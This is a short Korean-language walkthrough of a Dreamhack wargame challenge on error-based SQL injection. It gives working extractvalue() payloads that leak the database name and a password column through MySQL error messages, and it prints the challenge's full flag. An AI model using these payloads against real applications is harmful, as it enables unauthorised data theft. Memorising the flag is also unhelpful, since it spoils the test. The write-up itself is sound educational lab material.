
dreamhack error based sql injection
[문제 정보]
Simple Error Based SQL Injection !

문제 접속 화면이다.
입력칸에 쓰는 문자가 저 맨뒤에 '{ }' 안에 출력된다.

문제 파일에 첨부되어있는 소스코드이다.

sql 인젝션이 되는지 확인하기 위해 아래 코드를 입력해보았다.
1' and extractvalue(0x0a,concat(0x0a,concat(0x0a,(select database()))));--
에러값을 통해 users라는 데이터베이스명을 얻을 수 있었다.

0번 행의 upw값을 알고 싶으니 아래 코드를 입력해준다.
1' and extractvalue(0x3a,concat(0x3a,(SELECT concat(uid,0x3a,upw) FROM user LIMIT 0,1)));--
그 결과 오류문으로 플래그가 출력되는 걸 볼 수 있었다. 근데 플래그 값이 길어서 잘린다.
DH{c3968c7884075016877...'")

1' and extractvalue(0x3a,concat(0x3a,(SELECT substr(upw,20,25) FROM user LIMIT 0,1)));--
뒷 부분을 출력해줄 방법으로 이전 sql injection에 사용한 substr()을 이용했다. upw의 20번째 문자열부터 25개의 문자열을 추출시켜주었다.
':8774ad951fc98bf788563c4d}'")
이어주면
DH{c3968c78840750168774ad951fc98bf788563c4d}

짠 성공
https://dreamhack.io/wargame/challenges/412
error based sql injection
Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공
dreamhack.io